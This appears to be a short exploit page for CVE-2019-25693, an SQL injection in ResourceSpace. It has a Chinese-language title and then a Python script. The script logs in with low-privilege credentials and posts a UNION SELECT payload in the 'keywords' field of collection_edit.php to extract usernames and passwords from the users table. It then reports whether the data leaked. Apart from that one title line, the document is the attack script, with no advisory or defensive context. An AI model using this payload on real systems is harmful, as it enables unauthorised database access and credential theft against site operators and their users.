CVE-2019-25693 ResourceSpace SQL注入漏洞

import requests # Target configuration target_url = "http://target.com/collection_edit.php" session = requests.Session() # Attacker credentials (Low privilege required) login_data = { "username": "attacker", "password": "password" } # Login step (simplified) session.post("http://target.com/login.php", data=login_data) # Malicious payload for SQL Injection in 'keywords' parameter # Using boolean-based or union-based injection to extract data payload = "1' UNION SELECT NULL, username, password FROM users-- -" # Exploit request exploit_data = { "keywords": payload, "ref": "collection_id" } response = session.post(target_url, data=exploit_data) # Check if data is leaked in response if "admin" in response.text: print("Vulnerability exploited successfully!") else: print("Exploit failed.")